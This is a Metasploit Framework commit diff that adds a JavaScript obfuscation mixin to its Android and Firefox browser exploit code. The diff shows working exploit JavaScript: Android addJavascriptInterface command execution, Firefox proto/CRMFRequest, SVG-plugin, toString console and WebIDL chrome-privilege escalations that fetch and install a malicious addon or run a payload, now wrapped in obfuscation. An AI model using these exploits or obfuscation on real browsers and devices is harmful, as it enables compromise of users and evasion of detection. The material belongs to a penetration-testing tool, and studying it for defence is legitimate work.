Skip to content

Commit d9e6f28

Browse files
committed
Add the JSObfu mixin to a lot of places.
1 parent 829248f commit d9e6f28

File tree

10 files changed

+82
-50
lines changed

10 files changed

+82
-50
lines changed

lib/msf/core/exploit/android.rb

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,12 @@
11
# -*- coding: binary -*-
22
require 'msf/core'
3+
require 'msf/core/exploit/jsobfu'
34

45
module Msf
56
module Exploit::Android
67

8+
include Msf::Exploit::JSObfu
9+
710
# Since the NDK stager is used, arch detection must be performed
811
SUPPORTED_ARCHES = [ ARCH_ARMLE, ARCH_MIPSLE, ARCH_X86 ]
912

@@ -20,7 +23,7 @@ module Exploit::Android
2023

2124
def add_javascript_interface_exploit_js(arch)
2225
stagename = Rex::Text.rand_text_alpha(5)
23-
script = %Q|
26+
js_obfuscate %Q|
2427
function exec(runtime, cmdArr) {
2528
var ch = 0;
2629
var output = '';
@@ -84,9 +87,6 @@ def add_javascript_interface_exploit_js(arch)
8487
8588
for (i in top) { if (attemptExploit(top[i]) === true) break; }
8689
|
87-
88-
# remove comments and empty lines
89-
script.gsub(/\/\/.*$/, '').gsub(/^\s*$/, '')
9090
end
9191

9292

lib/msf/core/exploit/remote/firefox_privilege_escalation.rb

Lines changed: 8 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -7,16 +7,23 @@
77
#
88
###
99

10+
require 'msf/core/exploit/jsobfu'
11+
1012
module Msf
1113
module Exploit::Remote::FirefoxPrivilegeEscalation
1214

15+
include Msf::Exploit::JSObfu
16+
1317
# Sends the +js+ code to the remote session, which executes it in Firefox's
14-
# privileged javascript context
18+
# privileged javascript context. The code will be obfuscated if the JsObfuscate
19+
# datastore option is set to 1 or higher.
20+
#
1521
# @return [String] the results that were sent back. This can be achieved through
1622
# calling the "send" function, or by just returning the value in +js+
1723
def js_exec(js, timeout=30)
1824
print_status "Running the privileged javascript..."
1925
token = "[[#{Rex::Text.rand_text_alpha(8)}]]"
26+
js = js_obfuscate(js)
2027
session.shell_write("#{token}[JAVASCRIPT]#{js}[/JAVASCRIPT]#{token}")
2128
session.shell_read_until_token("[!JAVASCRIPT]", 0, timeout)
2229
end

modules/exploits/multi/browser/firefox_proto_crmfrequest.rb

Lines changed: 23 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -79,21 +79,7 @@ def generate_html(target_info)
7979
"p2.constructor.defineProperty(obj,key,{get:runme});"
8080
end
8181

82-
%Q|
83-
<html>
84-
<body>
85-
#{datastore['CONTENT']}
86-
<div id='payload' style='display:none'>
87-
if (!window.done) {
88-
window.AddonManager.getInstallForURL(
89-
'#{get_module_uri}/addon.xpi',
90-
function(install) { install.install() },
91-
'application/x-xpinstall'
92-
);
93-
window.done = true;
94-
}
95-
</div>
96-
<script>
82+
script = js_obfuscate %Q|
9783
try{InstallTrigger.install(0)}catch(e){p=e;};
9884
var p2=Object.getPrototypeOf(Object.getPrototypeOf(p));
9985
p2.__exposedProps__={
@@ -116,6 +102,28 @@ def generate_html(target_info)
116102
};
117103
for (var i in window) register(window, i);
118104
for (var i in document) register(document, i);
105+
|
106+
107+
js_payload = js_obfuscate %Q|
108+
if (!window.done) {
109+
window.AddonManager.getInstallForURL(
110+
'#{get_module_uri}/addon.xpi',
111+
function(install) { install.install() },
112+
'application/x-xpinstall'
113+
);
114+
window.done = true;
115+
}
116+
|
117+
118+
%Q|
119+
<html>
120+
<body>
121+
#{datastore['CONTENT']}
122+
<div id='payload' style='display:none'>
123+
#{js_payload}
124+
</div>
125+
<script>
126+
#{script}
119127
</script>
120128
</body>
121129
</html>

modules/exploits/multi/browser/firefox_svg_plugin.rb

Lines changed: 22 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -129,24 +129,7 @@ def generate_html(cli, target)
129129
:loader_path => "#{get_module_uri}.swf",
130130
:content => self.datastore['CONTENT'] || ''
131131
}
132-
%Q|
133-
<!doctype html>
134-
<html>
135-
<head>
136-
<base href="chrome://browser/content/">
137-
</head>
138-
<body>
139-
140-
<svg style='position: absolute;top:-500px;left:-500px;width:1px;height:1px'>
141-
<symbol id="#{vars[:symbol_id]}">
142-
<foreignObject>
143-
<object></object>
144-
</foreignObject>
145-
</symbol>
146-
<use />
147-
</svg>
148-
149-
<script>
132+
script = js_obfuscate %Q|
150133
var #{vars[:payload_obj_var]} = #{JSON.unparse({vars[:payload_key] => vars[:payload]})};
151134
var #{vars[:payload_var]} = #{vars[:payload_obj_var]}['#{vars[:payload_key]}'];
152135
function $() {
@@ -169,6 +152,27 @@ def generate_html(cli, target)
169152
document.querySelector('use').setAttributeNS(
170153
"http://www.w3.org/1999/xlink", "href", location.href + "##{vars[:symbol_id]}"
171154
);
155+
|
156+
157+
%Q|
158+
<!doctype html>
159+
<html>
160+
<head>
161+
<base href="chrome://browser/content/">
162+
</head>
163+
<body>
164+
165+
<svg style='position: absolute;top:-500px;left:-500px;width:1px;height:1px'>
166+
<symbol id="#{vars[:symbol_id]}">
167+
<foreignObject>
168+
<object></object>
169+
</foreignObject>
170+
</symbol>
171+
<use />
172+
</svg>
173+
174+
<script>
175+
#{script}
172176
</script>
173177
174178
<iframe style="position:absolute;top:-500px;left:-500px;width:1px;height:1px"

modules/exploits/multi/browser/firefox_tostring_console_injection.rb

Lines changed: 2 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -74,7 +74,7 @@ def generate_html(target_info)
7474
key = Rex::Text.rand_text_alpha(5 + rand(12))
7575
opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin
7676

77-
js = Rex::Exploitation::JSObfu.new(%Q|
77+
js = js_obfuscate %Q|
7878
var opts = #{JSON.unparse(opts)};
7979
var key = opts['#{key}'];
8080
var y = {}, q = false;
@@ -85,9 +85,7 @@ def generate_html(target_info)
8585
return 5;
8686
};
8787
console.time(y);
88-
|)
89-
90-
js.obfuscate
88+
|
9189

9290
%Q|
9391
<!doctype html>

modules/exploits/multi/browser/firefox_webidl_injection.rb

Lines changed: 2 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -79,7 +79,7 @@ def generate_html(target_info)
7979
"{},function(){top.vvv=window.open('chrome://browser/content/browser.xul', "+
8080
"'#{r}', 'chrome,top=-9999px,left=-9999px,height=100px,width=100px');})<\/script>"
8181

82-
js = Rex::Exploitation::JSObfu.new(%Q|
82+
js = js_obfuscate %Q|
8383
var opts = #{JSON.unparse(opts)};
8484
var key = opts['#{key}'];
8585
@@ -127,10 +127,7 @@ def generate_html(target_info)
127127
setTimeout(function(){top.vvv.close();}, 100);
128128
}, 10);
129129
}
130-
131-
|)
132-
133-
js.obfuscate
130+
|
134131

135132
%Q|
136133
<!doctype html>
Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
require 'spec_helper'
2+
require 'msf/core'
3+
4+
describe Msf::Exploit::Android do
5+
6+
it_should_behave_like 'Msf::Exploit::JSObfu'
7+
8+
end

spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,5 @@
11
require 'spec_helper'
22
require 'msf/core'
3-
require 'msf/core/exploit/remote/browser_exploit_server'
43

54
describe Msf::Exploit::Remote::BrowserExploitServer do
65

@@ -58,6 +57,8 @@
5857
server.start_service
5958
end
6059

60+
it_should_behave_like 'Msf::Exploit::JSObfu'
61+
6162
describe "#get_module_resource" do
6263
it "should give me a URI to access the exploit page" do
6364
module_resource = server.get_module_resource
Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
require 'spec_helper'
2+
require 'msf/core'
3+
4+
describe Msf::Exploit::Remote::FirefoxPrivilegeEscalation do
5+
6+
it_should_behave_like 'Msf::Exploit::JSObfu'
7+
8+
end

spec/lib/msf/core/exploit/jsobfu_spec.rb renamed to spec/support/shared/examples/msf/core/exploit/jsobfu.rb

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -3,11 +3,11 @@
33
require 'msf/core/exploit/jsobfu'
44

55

6-
describe Msf::Exploit::JSObfu do
6+
shared_examples_for 'Msf::Exploit::JSObfu' do
7+
78
subject(:jsobfu) do
89
mod = ::Msf::Module.new
910
mod.extend described_class
10-
mod.send(:initialize, {})
1111
mod
1212
end
1313

@@ -58,4 +58,5 @@
5858
expect(obj.to_s).to include(js)
5959
end
6060
end
61+
6162
end

0 commit comments

Comments
 (0)